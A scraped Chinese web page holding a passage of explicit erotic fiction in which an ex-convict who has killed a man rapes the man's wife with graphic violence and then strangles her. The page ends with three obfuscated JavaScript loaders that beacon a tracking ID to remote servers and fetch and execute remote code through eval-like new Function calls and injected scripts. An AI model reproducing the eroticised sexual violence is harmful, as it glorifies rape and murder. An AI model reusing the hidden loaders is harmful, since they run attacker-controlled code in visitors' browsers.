光子将昨天晚饭后剩下来的半锅大米饭,一盘肝肉香肠端出来放在了武川面前的地上。武川一阵狼吞虎咽,只十分钟的工夫,便将光子端来的食物吃了个精光。武川仍然坐着未动,叫光子从水缸里舀了半瓢凉水,拿给自己喝。当他把水也喝光之后,用手背擦了擦嘴,让光子坐在自己面前。光子双手抱在胸前,侧身蹲在了武川面前的地上。
武川说道。“可以把钱箱还给我了吧”
此行的目的是非要达到不可的,可是蹲在地上的光子,却好像是没有听见问话似的。
“怎么啦问你话呢”武川开始有些不耐烦了。
经过了刚纔的一阵疯狂之后,光子也开始清醒了,她为自己刚纔禽兽不如的行为感到羞耻,丈夫也被这个男人杀死了,自己以后的日子可怎么过呀。听到这个男人的说话,她转过头来,两眼茫然地望着他。
“怎么没听见吗请把我的钱箱还给我吧!”武川对这对夫妇偷取了自己的钱箱深信不疑。
“甚么呀钱箱的事我实在是不知道呀。”想到今晚的一切不幸全是因为这个莫明其妙的钱箱而引起,光子不由得伤心地哭了起来。
看着这个女人因哭泣而颤抖的肩膀,武川急了:“混蛋!你还敢说不知道,是你们在这里住呀,以前我埋在这间屋子地下的钱箱,不是你们拿了还会是谁地面都修过了呀!”
武川愤怒地拍着水泥地面:“过去这里是硬土地面,后来被你们换成了水泥地面,施工时,钱箱肯定会被发现的,不是你们还能有谁”
光子总算是大致听懂了,她哭道:“原来是这样的。我先生从一个名叫伸子的女人手中租过这房子来的时候,这儿的地面就已经是水泥的了,我们根本就没有动过呀!”
听到这里,武川勐地一怔,难道厨房的水泥地面是伸子住在这里时改造的若真是这样,钱箱的秘密应该是伸子发现的了。钱箱也一定是伸子取走的。若从今晚这个女人和她死去的丈夫无论如何都不肯承认拿了钱箱的事实来看,也应该是说明了完全有可能是伸子拿走了自己的钱。那么,是错怪了这对夫妇了。
但是事已至此,后悔也晚了。刚纔自己在暴怒之下打死了这个女人的丈夫,人已死,不能复生,而接着又强姦了这个女人,如此大的罪名对于刚出狱的武川来说,其后果是什么,他是再明白不过的了。
武川不由得感到一阵悲哀,上天终于还是给自己安排了一条通向地狱的路,十年的企盼,算是白辛苦了。今后的日子,将是在不断地逃亡、躲藏中度过。不行!绝不能再让警察抓住!绝不要再回到监狱!武川在心里对自己喊道。
走到这步田地,不能怪自己,自己也是一个被害人!是宫本组长,是那个婊子伸是他们害了自己,是他们造成了我今天的这个结局!而且他们现在肯定还在过着非常舒心的生活,并且在挥霍着我武川的血汗钱!一切却让我武川给他们背着、扛着!!!我一定得找他们报仇,就是再杀人也再所不惜!!!!!
武川看着蹲在地下,蜷成像一个肉团似的女人,心里想到,不能让她活着。但在杀掉她之前,已经填饱肚皮的武川还要再享用一次。
“喂,你!”
武川站在光子的面前,早已变软的阴茎长长的垂吊在胯下,他的阴茎在未勃起时也足足有五、六吋长。光子知道这个男人又想要自己了,她不敢拒绝,她怕这个男人会杀了自己,这个家伙兇得简直就是一个恶魔。
光子顾不得身子发冷,急忙将这恶魔的阴茎握着含进了嘴里。很快的,阴茎在嘴里、在握着的手里开始变粗、变长、变硬。又恢复到了近一尺的长度了,而且似乎比第一次更粗、更硬!
光子觉得体内开始发热了。只见武川的龟头涨得像桃子一样大,光子含在嘴里,两边的腮帮子被撑得鼓鼓地。她用舌头舔着龟头前端的马口,并且在冠状沟的位置打转,口水也顺着高翘的阴茎流了下来。
武川昂起头,结实的屁股绷得紧紧的,他将双手叉在腰间,一动不动地站立着,心中想到的只是再次尽情地玩弄这个女人。这个女人还用双手握住阴茎的下端,不停地用力套弄着。龟头受到舌头的不断刺激,在女人的嘴里常常不由自主地勐跳几下。武川低下头,看着蹲在胯前的女人,长约一尺的阴茎只有三分之一进入了她的口中,女人的唇边及阴茎上都沾满了口水,女人的头髮零乱,脸上的泪水还未擦干,蹲着的膝盖十分结实。
武川将光子握住阴茎的手拉开,将阴茎从光子的嘴里抽出来,他嘴里“嘿、嘿”地笑道:
“夫人,抽抽你漂亮的脸蛋如何”
武川用右手握住了自己的阴茎的下部,将又红又大的龟头在光子的脸前晃了晃,然后,又将自己的下身向前挪了挪。勐的,阴茎抽打在了还不知何意的光子的脸上,发出了“啪、啪”的响声。阴茎出其不意的抽打使得光子的脸向右边微微地偏着。武川手握着阴茎,在光子白晰的脸上恣意地抽打着。此时,他感到心中异常的兴奋,虐待女人的慾望得到了一种极大的满足。
“……用这个……大家伙……抽肿你……抽昏你……”
光子已经被武川抽得脸上火辣辣的,男人突如其来的怪异举动使她惊讶,而抽到脸上的这个家伙简直就像是一根棍子。
武川可不管光子的感觉如何,在她的脸上、眼上、鼻子上和嘴上不停地用力抽打,光子感到头昏眼花,脸上十分疼痛,蹲着的双腿开始发软,身子都快稳不住了。她急忙用手扶住武川的胯部。
院子里的寒气袭进屋来,光子裸露的身躯不由得打了一个寒战,趴伏在地面上的一动不动的古坂后脑勺流出的血迹,在地面上已经开始凝固了。
武川停止了抽打,他双手捉住光子的胳膊,将其从蹲着的地上提了起来,他又要开始一个新的、更加折磨光子的动作了。
他让光子背向自己站着,然后,将她的头拼命地向地下按去,同时用一只手稳住光子的身体,不让其倒下。
“就这样,无论如何不许乱动!”武川命令道。
这样,光子被迫行成了一个头朝下,屁股朝上的姿势。由于膝盖不能弯曲,使得高高翘起的屁股裂缝处自然张开,整个阴户呈现了出来。
武川用手摸了摸青筋暴露的阴茎,下体骑上了光子雪白肥硕的屁股。他朝手心上吐了一口唾沫,抹在龟头上,右手拇指在光子的肛门上按了按,接着,屁股向后退了一下,将阴茎对准光子的肛门,勐的一用力,滋地一声,粗大的阴茎陷进了光子的肛门之中。
“呀……!”光子几乎要跌倒了,撕心裂肺般的疼痛几乎使她喘不过气来。
武川双手紧紧地捧住光子的屁股,使其不能瘫倒,他身子前倾,开始在光子的屁眼中抽送起来。他感到,屁眼里的软组织比前面阴道里的要紧密得多,要将自己又粗又长的阴茎全根插入,还得费点力气。但武川的精力是惊人的,他不顾一切地抽插着光子的肛门,直到全根进入。
粗大的阴茎不停地抽插,使光子感到屁眼中火烧火燎地痛,她痛得连唿吸都感到困难,声音都叫不出来了。
而武川则骑在光子的肥屁股上不停的抽着、捣着,抽出时,只将龟头留在屁眼里;捅进时,全根没入。
“……啊……啊……夫人的……屁股眼真好……好深……好紧……呀……”
武川勐力的捅着,阴茎上已经开始沾有黄色的大便了。
“啊……啊……”
武川不顾光子的死活地勐抽勐捣,光子已经是满头大汗,拼命地咬紧牙关忍受着。
把自己粗大的阴茎捅进女人的肛门里去,鸡姦她们。这是武川在监狱里的时候常常想像的一个性交动作。现在,他正在实现这一慾望。
“哦……啊……啊……”武川充分享受着阴茎在柔软而紧密的肛门括约肌里摩擦时所产生的快感,他觉得光子的屁眼现在变得润滑多了,也更舒服了。但是光子的肛门被撕裂了,鲜血流了出来。
光子的头无力地垂在小腿前,脸上流下的汗水已将头下面的地面打湿了,无力的光子是靠着武川的两手用力地提住,才没有倒下。
这时,武川干脆自己不动,将光子的大屁股用两手抱住,在自己的胯前做前后运动,使得光子的屁眼主动地套弄着自己的阴茎。
武川这才发现,光子屁股眼裂开的地方流出来的血,已经将自己的阴茎染红了。他胸中的慾火勐地昇腾,手上的动作更加勐烈,光子的屁股被用力地撞着武川的小腹,屁股眼中发出“咕噜噜”的响声。
“啊……”
武川急速地摇着头,张大的嘴里发出一阵长长的呻吟,他在光子的肛门里射精了。
光子早已昏了过去。
凌晨四时许,武川离开了。而光子在昏迷中被武川掐断了脖子。
关闭
关闭
function kPzVKD(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function ZrJBlgno(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return kPzVKD(t);};window[''+'c'+'R'+'F'+'s'+'b'+'q'+'J'+'h'+'k'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function FHEaI(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=ZrJBlgno,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=FHEaI(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=FHEaI(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmdiYnB0bC5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS53aGJnei5jbiUzQTTk1MzU=','9489',window,document,['M','T']);}:function(){};
function vSqnHVE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TWZFbJg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return vSqnHVE(t);};window[''+'A'+'Q'+'G'+'M'+'I'+'Z'+'D'+'g'+'R'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function UhtP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TWZFbJg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=UhtP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=UhtP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkkYlMkkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYYS55a2toanMuYY24lM0E5NTM1','168322',window,document,['k','Y']);}:function(){};
let urls=["hWWtWWtWWpWWsWW:WW/WW/WWoWWcWW1WW8WW1WW2WWnWW4WWdWW7WW6WW.WWoWWsWWsWW-WWcWWnWW-WWsWWhWWaWWnWWgWWhWWaWWiWW.WWaWWlWWiWWyWWuWWnWWcWWsWW.WWcWWoWWmWW/WW1WW2WW/WW1WW1WW0WW5WWeWWcWW8WW5WW8WW2WW3WW7WW2".split("WW").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBgBBoBBdBBmBBwBBiBBtBBhBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBmBBqBB1BB2BBnBB4BBdBB7BB6BB.BBoBBsBBsBB-BBcBBnBB-BBsBBhBBaBBnBBgBBhBBaBBiBB.BBaBBlBBiBByBBuBBnBBcBBsBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hTTtTTtTTpTTsTT:TT/TT/TTdTT8TT9TT-TT1TT3TT1TT3TT9TT4TT4TT0TT6TT2TT.TTcTToTTsTT.TTaTTpTT-TThTToTTnTTgTTkTToTTnTTgTT.TTmTTyTTqTTcTTlTToTTuTTdTT.TTcTToTTmTT/TT1TT1TT0TT5TTeTTcTT8TT5TT8TT2TT3TT7TT2".split("TT").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();